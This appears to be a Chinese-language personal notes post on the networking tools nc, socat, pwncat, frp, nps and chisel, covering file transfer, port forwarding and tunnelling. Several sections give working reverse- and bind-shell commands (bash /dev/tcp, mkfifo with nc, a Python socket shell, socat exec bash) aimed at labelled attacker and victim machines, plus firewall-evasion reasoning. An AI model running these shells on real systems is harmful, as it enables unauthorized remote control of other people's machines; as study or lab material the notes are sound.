nc,socat,frp笔记

nc体积小,功能强大,跨平台,有了nc就不需要telnet了。nc可以完成telnet的所有工作.
socat 和nc相似的瑞士军刀
frp 多用于内网穿透
nc下载

32位比64位更稳定些。

nc

nc可以做什么?

  • 传输文本信息(明文
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马 —-nc不会被杀毒软件查杀?
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

可以做客户端使用,也可以做服务端。

作为客户端时,不建议直接去解析域名,应该直接连接他的ip地址
-v 显示详细的连接信息
-n 不进行dns
-q 标准输入后等待x秒后退出
-l 开始监听
-p 指定端口
-z 端口扫描
-c 提供shell

nc的弱点:

  • 明文传输,容易被嗅探,容易被中间人劫持.
  • 缺乏身份验证

nc的升级版–ncat 可以使用ssl加密和允许某个ip连接

传输文本信息

服务端:
nc -lvp 1234

客户端:
nc -nv ip 1234

传输文本信息

利用nc进行收集信息

A服务端:
ps -ef|nc -lvp 1234

B客户端:
nc -nv ip 1234 > ps.txt

这个是由A服务端传给B客户端

A服务端:
nc -lvp 1234 > a.txt
B客户端:
ls -l|nc -nv ip 1234

这个是由B客户端发给A服务端

为什么要这样进行因为电子取证的时候,要保护目标机器的原始状态,保证目标机器的文件不被损坏。

传输文件

将B的a.txt文件传给A

1
2
A:nc -lp 1234>a.txt
B:nc -nv ip 1234 <a.txt -q 1

将A的2.sh文件传给B

1
2
A:nc -lp 1234 <2.sh
B:nc -nv ip 1234 >c.txt -q 1
加密传输文件

A机器监听端口等待文件上传解密
B机器上的a.nmap加密后传送给A机器

1
2
A:nc -lvp 1234|mcrypt --flush -Fbqd -a rijndael-256 -m ecb > b.nmap
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb<a.nmap|nc -nv ip -q 1

传输目录

将A机器的目录打包后传输给B机器解包

1
2
A:tar cvf - ./aaa | nc -lvp 1234 -q 1
B:nc -nv ip 1234 | tar xf - ./

反向连接,B机器等待A上线发送文件包并解压

1
2
A:tar cvf - ./aaa |nc -nv ip 1234
B:nc -lvp 1234|tar xf - ./
加密传输目录
1
2
3
A:nc -lvp 1234|mcrypt --flush -Fbqd -a rijndael-256 -m ecb|tar xvf -

B:tar cvf - ./aaa |mcrypt --flush -Fbq -a rijndael-256 -m ecb|nc -nv ip 1234 -q 1
1
2
A:tar cvf - ./Downloads|mcrypt --flush -Fbq -a rijndael-256 -m ecb|nc -lvp 1234 -q 1
B:nc -nv ip 1234|mcrypt --flush -Fbqd -a rijndael-256 -m ecb|tar xvf - ./

流媒体服务器

1
cat 1.mp4|mc -lp

扫端口

不建议。

1
nc -nvz ip 1-65535

远程控制

正向

A开启监听端口1234 提供bash,等待连接
B 连接上A,B控制A

1
2
A:nc -lp 1234 -c bash
B:nc -nv ip 1234
反向

A开启监听端口1234,
B连接A的,并提供shell

A控制B

1
2
A:nc -lp 1234
B:nc -nv ip 1234 -c bash

为什么要使用反向而不是正向?因为在idc机房中边界一般会有防火墙,通常防火墙一般不会打开一个不常见的端口允许外部的机器来进行连接.所以要使用反向连接,让在防火墙内部的机器去连接外部的机器

反弹shell

1
2
A:nv -lvp 1234
B:bash -i >& /dev/tcp/ip/1234 0>&1

bash -i 打开一个bash

>& 将标准输出和标准错误输出重定向到了 /dev/tcp/ip/1234 这个远程设备上。

0>&1 代表将标准输入重定向到标准输出,但是标准输出已经被重定向到了远程设备上,所以标准输入也被重定向到了远程设备上。

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 1234 >/tmp/f

注意:/dev/tcp这个只在bash里有。

hz大佬:所以bash为啥会有这东西啊,(bash果真就搞破坏专用(,自带一堆方便后门的工具(

过于生草..

1
/bin/bash -c '[email protected]|bash' '' 'echo' 'bash -i &> /dev/tcp/127.0.0.1/4444 0<&1'

来自文章

python反弹

1
2
A:nc -lvp 8888
B:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
1
2
3
4
5
6
7
8
9
import os,socket,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.40.228',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

写入到文件中

1
echo 'import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.69",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'>a.py

ncat

正向

1
ncat -c bash --allow 192.168.1.2 -vnl 333 --ssl

socat

攻击机IP:192.168.2.84

受害机IP:192.168.3.76

简易聊天窗口

服务端

1
socat - tcp-listen:1234

客户端

1
socat tcp4:192.168.2.84:1234 -

-,STDIN,STDOUT 表示标准输入输出,可以用一个横杠代替。

文件操作

下面的STDIN表示标准输入和用一个-效果一样的

服务端通过管道符将cat svmgrsvc.log的输出作为标准输入传递给socat

1
cat svmgrsvc.log|socat tcp-listen:1234 STDIN

客户端

1
socat tcp4:192.168.2.84:1234 STDOUT

如果要将服务端传过来的数据保存成文件的话,不能直接使用管道符或者是重定向

1
2
socat tcp4:192.168.2.84:1234 file:/tmp/c.txt,
create

将程序/脚本输出传递也是一样的啦

服务端

1
ps -ef|socat tcp-listen:1234 STDIN

客户端

1
socat tcp4:192.168.2.84:1234 file:/tmp/f.txt,create
传输文件

服务端

1
socat tcp-listen:1234,fork file:/tmp/DidFinish.txt

客户端

1
socat tcp4:192.168.2.84:1234 file:/tmp/b.txt,create
传递目录

服务端

这里tar-也可以替换为STDOUT

1
tar cvf - ./aaa | socat TCP4-LISTEN:1234 STDIN

客户端

1
socat tcp4:192.168.2.84:1234 file:/tmp/f.tar,create
读写分流

实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。

1
socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork

image-20201126132609324

端口转发

1
socat  TCP4-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork TCP4:192.168.3.74:22

bind 绑定监听的ip,不对其进行绑定的话则默认为0.0.0.0

Reuseaddr绑定一个本地端口

fork TCP4:<ip address>:<port> 转发到的服务器ip和端口

shell

反向

攻击机执行

1
socat -d -d TCP4-LISTEN:1234 STDOUT

受害机执行

1
socat TCP:192.168.2.84:1233 EXEC:/bin/bash

这样就打开了一个简易的shell,但是没有标准错误输出。取决于在受害机上执行的反弹命令

攻击机器执行

1
2
3
4
socat file:`tty`,raw,echo=0 tcp-listen:1234

### 下面这条也行,取决于在受害机上执行的反弹命令
socat TCP4-LISTEN:1234 STDOUT

受害机执行

1
2
3
4
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.84:1234

或者用正常的来弹回去也行
bash -c 'bash >&/dev/tcp/192.168.2.84/1233 0>&1'

这样反弹回来的shell,是标准的终端属性。

在受害机上用socat反弹shell时,只要携带stderr这个参数,就有标准错误输出了。

1
socat TCP:192.168.2.84:1233 EXEC:/bin/bash,stderr
正向

受害机执行

1
socat TCP-LISTEN:1234 EXEC:/bin/bash

攻击机执行

1
socat - TCP:192.168.3.76:1234

攻击机收到的shell有没有标准错误输出什么的,这里就取决于受害机的监听命令了 同样,带上个stderr就好了

1
socat TCP-LISTEN:1235 EXEC:/bin/bash,stderr

SOCAT加密传输

创建key

1
2
3
openssl req -newkey rsa:2048 -nodes -keyout atsud0.key -x509 -days 362 -out atsud0.crt

cat atsud0.key atsud0.crt >atsud0.pem

开启加密监听

1
socat openssl-listen:1234,cert=atsud0.pem,verify=0 -

如果监听用的是openssl加密,而客户端则不用的话是不能连接上的。其余用法大致和tcp一样。

客户端

1
socat - openssl:192.168.2.84:1235,verify=0

客户端反弹shell

1
socat openssl:192.168.2.84:1234,verify=0 exec:/bin/bash,stderr

socat和nc一起用

socat 监听

1
socat tcp-listen:1234 -

用nc反弹shell

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.84 1234 >/tmp/f

是可以用的。。

socat正向shell

1
socat TCP-LISTEN:1234 EXEC:/bin/bash,stderr

Nc 去连接

1
nc -nv 192.168.2.84 1234

这样也是可以的

本节参考链接

pwncat

更加强的netcat。

反向shell

hacker执行

1
2
3
4
5
6
pwncat -l -p 1234
# 和指定ip端口绑定
pwncat -l 192.168.1.2:4444
# 绑定任意地址的端口
pwncat -l :4444
默认就是任意地址的

victim执行

1
bash -c 'bash - i>& /dev/tcp/HACKER_IP/1234 0>&1'

20210325-22:32:43-_4DwS8R_er9XYY

连nc魔术升级都省了。。。

正向shell

victim执行

1
nc -lvnp 3444 -e /bin/bash

hacker执行

1
2
3
4
5
pwncat 127.0.0.1 3444
# 或者
pwncat connect://127.0.0.1:3444
# 这样也行
pwncat 127.0.0.1:3444

20210325-23:06:25-_2MlS8T_o5gws4

ssh连接

1
2
3
4
5
pwncat -i id_rsa.key  ssh://[email protected]

pwncat [email protected]

pwncat ssh://root:[email protected]

20210325-23:08:16-_P0WFbb_XWYPeZ

不仅如此不仅如此,这居然内置了一些功能,比如下载,上传之类的。

下载文件

1
2
3
4
5
(remote) pwncat$ Ctrl+D
# 之后应该回回到(local)pwncat

(local) download /tmp/a.txt /tmp/test-file
# 不指定的话就是下载到当前目录

上传文件

1
2
3
4
5
(remote) pwncat$ Ctrl+D
# 之后应该回回到(local)pwncat
(local) upload /tmp/enum/linpeas.sh /tmp/a.sh

# 上传本地的linpeas.sh到目标机器的/tmp/下

获取系统信息

1
2
3
4
5
6
7
8
9
(remote) pwncat$ Ctrl+D
# 之后应该回回到(local)pwncat
(local) sysinfo
Host ID: "一段hash(因为我是用自己云主机测试的,so。。)"
Remote Address: ('192.168.179.1', 22)
Architecture: x86_64
Kernel Version: 4.19.0-14-cloud-amd64
Distribution: debian
Init System: Init.SYSTEMD

frp

项目地址:frp

配置文件

服务端:frps,服务端配置修改frps.ini这个文件。完整配置:frps_full.ini

客户端:frpc,客户端配置修改frpc.ini这个文件。完整配置:frpc_full.ini

映射tcp服务

服务端配置
1
2
3
4
5
6
7
8
9
10
11
[common]
bind_port = 7000
#bind_port用于客户端和服务端连接的端口,在配置客户端的时候会用到
dashboard_port = 10443
#dashboard_port服务端控制台端口
token = Iamtheboneofmysword
#token 身份标识,用于校验客户端和服务端的验证口令
dashboard_user = admin
#服务端控制台用户名
dashboard_pwd = 123456
#服务端控制台用户密码
客户端配置
1
2
3
4
5
6
7
8
9
10
[common]
server_addr = x.x.x.x
server_port = 7000 #对应服务端配置的bind_port
token = Iamtheboneofmysword

[ssh]
type = tcp #类型
local_ip = 127.0.0.1 #本地ip
local_port = 22 #ssh服务的本地端口
remote_port = 10022 #服务端上开放的端口号
运行

上诉配置写好之后,直接

1
2
3
#服务端
./frps -c frps.ini
# 如果想后台运行就用nohup或者是screen之类的,也可以写个服务来守护进程。
1
2
#客户端
./frpc -c frpc.ini

之后ssh x.x.x.x:10022就可以访问到客户端的ssh服务了。

映射其他的服务也是一样的用法。

配置socks5 proxy代理 实现内网穿透

服务端配置可以不动。

客户端简单修改下

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = x.x.x.x
server_port = 7000
token = Iamtheboneofmysword

[socks5]
type = tcp
remote_port = 8080
plugin = socks5
plugin_user = whoami #代理用户名
plugin_passwd = wwwwww #密码
use_encryption = true #是否使用加密
use_compression = true #是否使用压缩

之后可以用socks5代理访问到客户端内网中的其他服务。

添加自启

官方项目下载之后的文件夹,有个systemd目录,已经帮你写好了服务了。

以frps为例

1
2
3
4
5
6
cp systemd/frps.service /etc/systemd/system/
cp frps /usr/bin/frps
mkdir /etc/frp
cp frps.ini /etc/frp/

sysstemctl start frps

参考

https://gofrp.org/docs/features/common/network/network/

https://sspai.com/post/52523

https://www.anquanke.com/post/id/184855#h3-4

EarthWorm

下载地址:ew-github
介绍页面:Earthworm

nps

下载:nps

官方文档:ehang-to.github.io

nps.service

1
vim /etc/systemd/system/nps.service

添加以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[Unit]
Description=Nps Server Service
After=network.target
Wants=network-online.target

[Service]
Type=simple
User=nobody
Restart=on-failure
RestartSec=5s
ExecStart=/opt/nps/nps

[Install]
WantedBy=multi-user.target
1
2
systemctl start nps #启动
systemctl enable nps #开机自启动

chisel

特别的功能支持:tcp over http

1
2


项目地址:chisel